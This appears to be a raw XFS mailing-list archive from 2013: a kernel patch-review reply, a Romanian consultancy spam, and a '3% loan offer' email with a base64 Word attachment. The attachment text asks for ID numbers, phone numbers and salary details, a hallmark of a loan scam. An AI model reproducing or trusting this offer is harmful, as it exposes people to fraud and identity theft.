150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhYHAKktQlJ5LCC0/2dsb2JhbABbgweDS7hKhT2BHRd0giUBAQU6HCMQCAMOCgklDwUlAyETiAS8UhaPOweDHYEAA5d7kXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Sep 2013 10:01:12 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOd0W-00016o-Qc; Wed, 25 Sep 2013 10:31:08 +1000 Date: Wed, 25 Sep 2013 10:31:08 +1000 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. Message-ID: <20130925003108.GF26872@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/5] xfs: don't try to mark uncached buffers stale on error. References: <1380002476-18839-1-git-send-email-david@fromorbit.com> <1380002476-18839-2-git-send-email-david@fromorbit.com> <20130924153324.GF1935@sgi.com> <20130924203232.GA26872@dastard> <20130924205949.GK1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130924205949.GK1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1380069073 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140899 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 24, 2013 at 03:59:49PM -0500, Ben Myers wrote: > Hi Dave, > > On Wed, Sep 25, 2013 at 06:32:32AM +1000, Dave Chinner wrote: > > On Tue, Sep 24, 2013 at 10:33:24AM -0500, Ben Myers wrote: > > > ...but it looks like your fix is in xfs_bdstrat_cb, which wouldn't have been > > > involved in the stack you posted above. What am I missing? > > > > That the first hunk that changes xfs_bioerror_relse() fixes the bug > > that caused the assert failure through xfsbdstrat(). > > *blink* > > All I see in that first hunk are changes to comments. The second hunk seems to > contain the only functional change, highlighted above. You are right - it should not be reliably fixing the failure I'm seeing. I'm sure there was something else in this patch originally - I'll go back and check. Cheers, Dave. -- Dave Chinner david@fromorbit.com From consultanta@ymarketing.ro Tue Sep 24 21:54:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.5 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY, MPART_ALT_DIFF,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 41AC07F3F for ; Tue, 24 Sep 2013 21:54:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2261C304032 for ; Tue, 24 Sep 2013 19:54:39 -0700 (PDT) X-ASG-Debug-ID: 1380077678-04cb6c35013da40001-w1Z2WR Received: from mail.ymarketing.ro (mail.ymarketing.ro [77.36.101.14]) by cuda.sgi.com with ESMTP id K5c0n0jG4CD8e3bJ for ; Tue, 24 Sep 2013 19:54:38 -0700 (PDT) X-Barracuda-Envelope-From: consultanta@ymarketing.ro X-Barracuda-Apparent-Source-IP: 77.36.101.14 Received: from localhost (localhost [127.0.0.1]) by mail.ymarketing.ro (Postfix) with ESMTP id 60B2484626 for ; Wed, 25 Sep 2013 05:49:12 +0300 (EEST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=ymarketing.ro; h= message-id:content-type:content-type:mime-version:subject :subject:date:date:reply-to:to:from:from; s=dkim; t=1380077351; x=1380941351; bh=6rkJmRu68wylPQA3iJ2WM26RhbL68IdbIzi89iQyotk=; b= p2XNIsACkRncl+fweZqy6vVrX6NX40lMu1Dj3TqRTIAaQs9C+DxQjXGNu739KWG7 Dxt+40BVIcWDQLrMD2iZH7WZxMjs0tZYQEfCwpXuzLJpNFymTyBXOLrnZmjg3T5e i88l1p5YkprvDk6cBGExCRT3O3KcGVCAp69x0knb7Vs= X-Virus-Scanned: Debian amavisd-new at mail.ymarketing.ro Received: from mail.ymarketing.ro ([127.0.0.1]) by localhost (mail.ymarketing.ro [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Qki1HUUDDF3Q for ; Wed, 25 Sep 2013 05:49:11 +0300 (EEST) Received: from emachinef0bb72 (unknown [109.103.88.153]) by mail.ymarketing.ro (Postfix) with ESMTPA id 2F9DF845D3 for ; Wed, 25 Sep 2013 05:49:11 +0300 (EEST) From: "Consultanta cesiuni" To: "linux-xfs@oss.sgi.com" Reply-To: consultanta@ymarketing.ro Date: Wed, 25 Sep 2013 05:54:36 +0300 Subject: Consultanta cesiuni, preluari firme MIME-Version: 1.0 X-ASG-Orig-Subj: Consultanta cesiuni, preluari firme Content-Type: multipart/alternative; boundary="_=aspNetEmail=_3445586ac0744472b713b48f6a70a2b1" Message-ID: X-Barracuda-Connect: mail.ymarketing.ro[77.36.101.14] X-Barracuda-Start-Time: 1380077678 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: 130e2f262913185dcf5c8bba892bb955-1073-htm X-Barracuda-Spam-Score: 0.15 X-Barracuda-Spam-Status: No, SCORE=0.15 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_MESSAGE, MIME_HTML_ONLY, MIME_HTML_ONLY_MULTI, MPART_ALT_DIFF X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140902 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.14 MPART_ALT_DIFF BODY: HTML and text parts are different 0.00 MIME_HTML_ONLY_MULTI Multipart message only has text/html MIME parts --_=aspNetEmail=_3445586ac0744472b713b48f6a70a2b1 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <=21DOCTYPE HTML PUBLIC =22-//W3C//DTD HTML 4=2E0 Transitional//EN=22>=0D= =0A=0D=0A=0D=0A=0D=0A=0D=0AAsiguram consultanta pentru:

    =0D=0A

    - preluari firme cu datorii

    =0D=0A

    - schimbare sediu so= cial

    =0D=0A

    - infiintari= firme noi pentru cetateni romani sau =0D=0Astraini, inclusiv asociati si= administrator

    =0D=0A

    - = consultanta fiscala reducere =0D=0Ataxe

    =0D=0A

    Contact: 0753=2E92=2E33=2E95 ; consultanta=40ymarketing=2Eto

    =0D=0A=

    Dezabonare: consultanta=40ymarketing=2Eto

    =0D= =0A --_=aspNetEmail=_3445586ac0744472b713b48f6a70a2b1-- From infoimpactfinsolutions@gmail.com Wed Sep 25 01:48:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM, T_FREEMAIL_DOC_PDF autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D97B57F3F for ; Wed, 25 Sep 2013 01:48:32 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6E17EAC001 for ; Tue, 24 Sep 2013 23:48:32 -0700 (PDT) X-ASG-Debug-ID: 1380091710-04bdf02f22141c8b0001-NocioJ Received: from mv-osn-hcb007.ocn.ad.jp (mv-osn-hcb007.ocn.ad.jp [118.23.180.69]) by cuda.sgi.com with ESMTP id U48PpFRWB5hPOkXL for ; Tue, 24 Sep 2013 23:48:30 -0700 (PDT) X-Barracuda-Envelope-From: infoimpactfinsolutions@gmail.com X-Barracuda-Apparent-Source-IP: 118.23.180.69 Received: from mzcstore232.ocn.ad.jp (mv-osn-hcb007 [118.23.180.69]) by mv-osn-hcb007.ocn.ad.jp (Postfix) with ESMTP id CEA2229C36E; Wed, 25 Sep 2013 15:48:28 +0900 (JST) Date: Wed, 25 Sep 2013 15:48:28 +0900 (JST) From: infoimpactfinsolutions@gmail.com Sender: roy@minos.ocn.ne.jp Reply-To: Impact Financial Solutions Message-ID: <1020374771.29418961380091708452.JavaMail.root@mz-fcb232p.noc-chibaminato.ocn.ad.jp> In-Reply-To: <1817361793.29410831380091393371.JavaMail.root@mz-fcb232p.noc-chibaminato.ocn.ad.jp> Subject: Impact Financial Solution 3% Loan Offer MIME-Version: 1.0 X-ASG-Orig-Subj: Impact Financial Solution 3% Loan Offer Content-Type: multipart/mixed; boundary="----=_Part_153655_1917050350.1380091708405" X-Originating-IP: [180.8.111.16] To: undisclosed-recipients:; X-Barracuda-Connect: mv-osn-hcb007.ocn.ad.jp[118.23.180.69] X-Barracuda-Start-Time: 1380091710 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.50 X-Barracuda-Spam-Status: No, SCORE=1.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0224, BSF_SC3_MV0253_2, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140905 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.50 BSF_SC0_MV0224 FULL: Custom rule MV0224 1.00 BSF_SC3_MV0253_2 Custom rule MV0253_2 ------=_Part_153655_1917050350.1380091708405 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Hello, Please find attached details and apply for a loan for a fixed 3% interest rate loan per annum. Warm Regards, Amanda Davis Chief Application Officer, Impact Financial Solutions ------=_Part_153655_1917050350.1380091708405 Content-Type: application/msword; name="Impact Financial Solutions 3% Loan Promo.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Impact Financial Solutions 3% Loan Promo.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAXAAAAAAAAAAA EAAAXwAAAAEAAAD+////AAAAAFsAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAW4AJBAAA+BK/AAAAAAAAEAAAAAAACAAAAQ4AAA4AYmpiaqz6rPoAAAAAAAAAAAAAAAAAAAAA AAAJBBYANCAAAM6QAQDOkAEA8wUAAAAAAAANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAAgIAAAAAAAACAgAAEsV AAAAAAAASxUAAAAAAABLFQAAAAAAAEsVAAAAAAAASxUAABQAAAAAAAAAAAAAAP////8AAAAAXxUA AAAAAABfFQAAAAAAAF8VAAA4AAAAlxUAADQAAADLFQAAFAAAAF8VAAAAAAAA7RkAAGYBAADfFQAA AAAAAN8VAAAAAAAA3xUAAAAAAADfFQAAAAAAAN8VAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAA AAAAbBkAAAIAAABuGQAAAAAAAG4ZAAAAAAAAbhkAAAAAAABuGQAAAAAAAG4ZAAAAAAAAbhkAACQA AABTGwAAogIAAPUdAAA2AAAAkhkAABUAAAAAAAAAAAAAAAAAAAAAAAAASxUAAAAAAADOFgAAAAAA AAAAAAAAAAAAAAAAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYAAAAAAADOFgAAAAAAAJIZAAAAAAAA AAAAAAAAAABLFQAAAAAAAEsVAAAAAAAA3xUAAAAAAAAAAAAAAAAAAN8VAADvAAAApxkAABYAAAAA GAAAAAAAAAAYAAAAAAAAABgAAAAAAADOFgAAiAAAAEsVAAAAAAAA3xUAAAAAAABLFQAAAAAAAN8V AAAAAAAAbBkAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAzhYAAAAAAABsGQAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAA AAAAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAADfFQAAAAAAAP////8AAAAA8PBQCPi2 zgEAAAAAAAAAAF8VAAAAAAAAVhcAAHwAAAAAGAAAAAAAAAAAAAAAAAAAWBkAABQAAAC9GQAAMAAA AO0ZAAAAAAAAABgAAAAAAAArHgAAAAAAANIXAAAuAAAAKx4AAAAAAAAAGAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA GAAAbAAAACseAAAAAAAAAAAAAAAAAABLFQAAAAAAAGwYAADsAAAAzhYAAAAAAADOFgAAAAAAAAAY AAAAAAAAzhYAAAAAAADOFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzhYA AAAAAADOFgAAAAAAAM4WAAAAAAAAkhkAAAAAAACSGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM4WAAAA AAAAzhYAAAAAAADOFgAAAAAAAO0ZAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAACseAAAAAAAAzhYAAAAAAADO FgAAAAAAAM4WAAAAAAAAzhYAAAAAAADOFgAAAAAAAM4WAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADOFgAAAAAAAM4WAAAAAAAAzhYA AAAAAAAICAAACQwAABEUAAA6AQAABQASAQAACQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAENDSAx MiBKYW4gVmlzc2VyIFN0cmVldCwgSmFuIEtlbXBkb3JwIDg1NTAsIEphbiBLZW1wZG9ycCwNICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTm9ydGhlcm4gQ2FwZSwgU291 dGggQWZyaWNhLgsNDUFib3V0IEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zDQtJbXBhY3QgRmlu YW5jaWFsIFNvbHV0aW9ucyBpcyBhIHJlZ2lzdGVyZWQgaW5kZXBlbmRlbnQgZmluYW5jaWFsIHNl cnZpY2UgcHJvdmlkZXIgb3BlcmF0aW5nIGhlcmUgaW4gU291dGggQWZyaWNhLiBTaW5jZSBpdHOg aW5jZXB0aW9uIGluIDIwMDYsIEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zIGhhcyBwcm92aWRl ZCBjcmVkaXQgYW5kIGZpbmFuY2lhbCBzb2x1dGlvbnMgdG+gbW9yZSB0aGFuIGVpZ2h0IGh1bmRy ZWQgdGhvdXNhbmQgY3VzdG9tZXJzIGhlcmUgaW4gU291dGggQWZyaWNhLg0NT3VyIGNhcGl0YWwg YmFzZSBoZXJlIGluIEltcGFjdCBGaW5hbmNpYWwgU29sdXRpb25zIGlzIGFwcHJveGltYXRlbHkg NjVtaWxsaW9uIFNvdXRoIEFmcmljYSBSYW5kIGFuZCBvdXIgY3VzdG9tZXIgYmFzZSBpcyBvdmVy IGVpZ2h0IGh1bmRyZWQgdGhvdXNhbmQgY3VzdG9tZXJzIGFzIHN0YXRlZCBhYm92ZS4gV2UgYXJl IGN1cnJlbnRseSBvZmZlcmluZyBsb2FucyBhdCAzJSBpbnRlcmVzdCByYXRlIHBlcqBhbm51bSB0 byBjdXN0b21lcnMuIA0NV2Ugb2ZmZXIgcGVyc29uYWwgbG9hbnMsIGNhciBsb2FucywgaG9tZSBs b2FucyygaW5zdXJhbmNlLCBzdHVkeSBsb2FucywgZGVidCBjb25zb2xpZGF0aW9uIGxvYW5zIGFu ZCBidXNpbmVzcyBsb2Fucy4gSW50ZXJlc3RlZKBhcHBsaWNhbnRzIGFyZSBhZHZpc2VkIHRvIGNv bnRhY3QgdXMgdmlhIGVtYWlsOyB3aXRoIHRoZSByZXF1aXJlZCBkZXRhaWxzIChJTVBBQ1QwMDEg ZGV0YWlscykgYmVsb3c6CwtGaXJzdCBOYW1lOgtTdXJuYW1lOgtJRCBOdW1iZXI6C0NlbGwgTnVt YmVyOgtFLW1haWw6C09jY3VwYXRpb246C01vbnRobHkgU2FsYXJ5Og0NTm90ZTogQ3JlZGl0IGZh Y2lsaXR5IGFwcHJvdmFsIGlzIHN1YmplY3QgdG8gc3RhbmRhcmQgYWZmb3JkYWJpbGl0eSBhbmQg TmF0aW9uYWwgY3JlZGl0IEFjdCByZXF1aXJlbWVudCBhcyB3ZWxsIGFzIEltcGFjdCBGaW5hbmNp YWwgU29sdXRpb25zIHN0YW5kYXJkIGNyZWRpdCBncmFudGluZyBjcml0ZXJpYS4NDVdlIGxvb2sg Zm9yd2FyZCB0byBkb2luZyBidXNpbmVzcyB3aXRoIHlvdSELDUJlc3QgUmVnYXJkcywNC0FtYW5k YSBEYXZpcwtDaGllZiBBcHBsaWNhdGlvbiBPZmZpY2VyLAtJbXBhY3QgRmluYW5jaWFsIFNvbHV0 aW9ucy4NDQ1FbWFpbDogaW1wYWN0ZmluYW5jaWFsc29sdXRpb25zQG1hbmFnZXIuaW4udGggIERp cmVjdCBOby46ICsyNzYxMTM2MzQ1OQ1JbXBhY3QgRmluYW5jaWFsIFNvbHV0aW9ucyBpcyBhbiBB dXRob3JpemVkIEZpbmFuY2lhbCBTZXJ2aWNlcyBhbmQgUmVnaXN0ZXJlZCBDcmVkaXQgUHJvdmlk ZXIuIChOQ1JDUDg4NCkNQ0s6IDIwMDYvMTk4MjA5LzIzDQsNAw0NBA0NAw0NBA0NDQ0AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAEIAAAC CAAAAwgAAAQIAAALCAAAGQgAABoIAAAsCAAALQgAADsIAABlCAAAcggAAIEIAACCCAAAhAgAAIUI AACJCAAAiwgAAJAIAACSCAAAmggAAJwIAACkCAAApQgAAObazryqlYCVgJWAlYB8eGZUZlRmVGZU RAAAAAAAAAAAAAAAAB8VaEQcRwAWaEF1aQA+KgFDShgAT0oAAFFKAABhShgAIhVoRBxHABZoRBxH ADUIgT4qAUNKGABPSgAAUUoAAGFKGAAAIhVoRBxHABZoQXVpADUIgT4qAUNKGABPSgAAUUoAAGFK GAAABhZoQXVpAAAGFmiSBsYAACgVaFwlOgAWaFwlOgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgA sFAAACgVaFwlOgAWaNtaVgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgAsFAAACIWaEQcRwA1CIFC KgtDShgAT0oAAFFKAABhShgAcGgAsFAAACIWaFwlOgA1CIFCKgtDShgAT0oAAFFKAABhShgAcGgA sFAAABcWaFwlOgBmSAABccoKAAAA/////wAAABcWaBJORgBmSAABccoKAAAA/////wAAADEDagAA AAAVaF1EIAAWaMZjHwBVCAFmSAABbUgABG5IAARxygoAAAD/////AAAAdQgBABgACAAAAggAAAMI AAA7CAAAgwgAAIQIAAClCAAAwAkAAMEJAAC/CgAAwAoAAPcLAAD4CwAAqQwAAKoMAADXDAAA5QwA ACoNAAArDQAALA0AAHQNAADeDQAA8Q0AAPMNAAD3AAAAAAAAAAAAAAAA9wAAAAAAAAAAAAAAAPcA AAAAAAAAAAAAAADuAAAAAAAAAAAAAAAA5gAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAAAAAA AAAAAAAA3AAAAAAAAAAAAAAAANwAAAAAAAAAAAAAAADcAAAAAAAAAAAAAAAA3AAAAAAAAAAAAAAA ANwAAAAAAAAAAAAAAADhAAAAAAAAAAAAAAAA4QAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAA AAAAAAAAAAAA4QAAAAAAAAAAAAAAAOEAAAAAAAAAAAAAAADhAAAAAAAAAAAAAAAA1AAAAAAAAAAA AAAAAOEAAAAAAAAAAAAAAAD3AAAAAAAAAAAAAAAAywAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgT AA3GBQABhAMAZ2SSJ+kAAAcTAAMkAWEkAWdkQXVpAAAEEwBnZNtaVgAABBMAZ2RBdWkAAAcTAAMk A2EkA2dkQXVpAAAIEwARhNACYITQAmdkQXVpAAAHEwADJAFhJAFnZFwlOgAAF6UIAACmCAAAwQgA ANAIAADnCAAA9wgAAPgIAAAGCQAAFgkAABcJAAAvCQAAMwkAADQJAAA8CQAAUAkAAHIJAAB7CQAA fgkAAH8JAACDCQAAnwkAAKkJAACqCQAArwkAAL4JAAC/CQAAwQkAAPnq3s/ez97P3s/q3uq4oY2h dlhEobhEuKG4AAAnFmgOYrQAQ0oYAE9KAABRSgAAYUoYAGZIAAFxygoAAAD/////AAAAOhVoQXVp ABZoDmK0ADBKEABCKg9DShgAT0oAAFFKAABhShgAZkgAAXBoRUVFAHHKCgAAAP////8AAAAALRVo QXVpABZoDmK0AENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAAACcWaDokDgBDShgAT0oA AFFKAABhShgAZkgAAXHKCgAAAP////8AAAAtFWhBdWkAFmiSBsYAQ0oYAE9KAABRSgAAYUoYAGZI AAFxygoAAAD/////AAAALRVoQXVpABZo21pWAENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA//// /wAAABwVaEF1aQAWaJIGxgBDShgAT0oAAFFKAABhShgAABYWaA5itABDShgAT0oAAFFKAABhShgA ABwVaEF1aQAWaNtaVgBDShgAT0oAAFFKAABhShgAAAwVaEF1aQAWaJIGxgAawQkAANoJAAD0CQAA /AkAABAKAAAdCgAAKQoAAJIKAACVCgAAqgoAAK8KAAC7CgAAvAoAAL4KAADACgAAyQoAAOgKAADw CgAADgsAABQLAAA0CwAANQsAAD8LAABACwAAVgsAAJELAACSCwAAkwsAAJQLAADr1OvArMDrwJXr leuV65WBldSV1JVqlVZqlWqVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACcWaJRxvQBDShgA T0oAAFFKAABhShgAZkgAAXHKCgAAAP////8AAAAtFWhBdWkAFmhcJToAQ0oYAE9KAABRSgAAYUoY AGZIAAFxygoAAAD/////AAAAJxZoQXVpAENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAA AC0VaEF1aQAWaJIGxgBDShgAT0oAAFFKAABhShgAZkgAAXHKCgAAAP////8AAAAnFmilcaYAQ0oY AE9KAABRSgAAYUoYAGZIAAFxygoAAAD/////AAAAJxZoOiQOAENKGABPSgAAUUoAAGFKGABmSAAB ccoKAAAA/////wAAAC0VaEF1aQAWaNtaVgBDShgAT0oAAFFKAABhShgAZkgAAXHKCgAAAP////8A AAAnFmgOYrQAQ0oYAE9KAABRSgAAYUoYAGZIAAFxygoAAAD/////AAAAAByUCwAAnAsAAJ0LAACe CwAApAsAAPYLAAD3CwAAawwAAIUMAACoDAAA1QwAANYMAADXDAAA5AwAAOUMAADmDAAA7QwAAPIM AADzDAAA+QwAAAQNAAANDQAADg0AACgNAAApDQAA69S91K6finiKn65prlKu1L2u1L3Urr3UAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0VaEF1aQAWaNtaVgBDShgAT0oA AFFKAABhShgAZkgAAXHKCgAAAP////8AAAAcFWhBdWkAFmhcJToAQ0oYAE9KAABRSgAAYUoYAAAj FmggS9cAQioBQ0oYAE9KAABQSgAAUUoAAGFKGABwaAAAAAApFWhBdWkAFmhBdWkAQioBQ0oYAE9K AABQSgAAUUoAAGFKGABwaAAAAAAcFWhBdWkAFmhBdWkAQ0oYAE9KAABRSgAAYUoYAAAcFWhBdWkA FmiSBsYAQ0oYAE9KAABRSgAAYUoYAAAtFWhBdWkAFmhcJToAQ0oYAE9KAABRSgAAYUoYAGZIAAFx ygoAAAD/////AAAALRVoQXVpABZokgbGAENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAA ACcWaKoaggBDShgAT0oAAFFKAABhShgAZkgAAXHKCgAAAP////8AAAAAGCkNAAAqDQAAKw0AACwN AAAzDQAAWQ0AAFsNAABmDQAAZw0AAGoNAABzDQAAdA0AAOjUwrCXi3aLYE0uAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAPBVoXCU6ABZoXCU6ADUIgT4qAUIqC0NKGABPSgAAUUoAAGFK GABmSAABcGgAsFAAccoKAAAA/////wAAAAAlFmgMfNwANQiBPioBQioLQ0oYAE9KAABRSgAAYUoY AHBoALBQACsVaCBL1wAWaCBL1wA1CIE+KgFCKgtDShgAT0oAAFFKAABhShgAcGgAsFAAKBVoXCU6 ABZoXCU6ADUIgUIqC0NKGABPSgAAUUoAAGFKGABwaACwUAAAFhZoXCU6AENKGABPSgAAUUoAAGFK GAAAMBVoxmMfABZoxmMfADUIgUNKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAAAAAiFmhc JToANQiBQioLQ0oYAE9KAABRSgAAYUoYAHBoALBQAAAiFmhBdWkANQiBQioLQ0oYAE9KAABRSgAA YUoYAHBoALBQAAAnFmhBdWkAQ0oYAE9KAABRSgAAYUoYAGZIAAFxygoAAAD/////AAAALRVoQXVp ABZoQXVpAENKGABPSgAAUUoAAGFKGABmSAABccoKAAAA/////wAAAAALdA0AANQNAADcDQAA3g0A AOINAADwDQAA8Q0AAPINAADzDQAA9A0AAPYNAAD3DQAA+Q0AAPoNAAD8DQAA/Q0AAAAOAAABDgAA 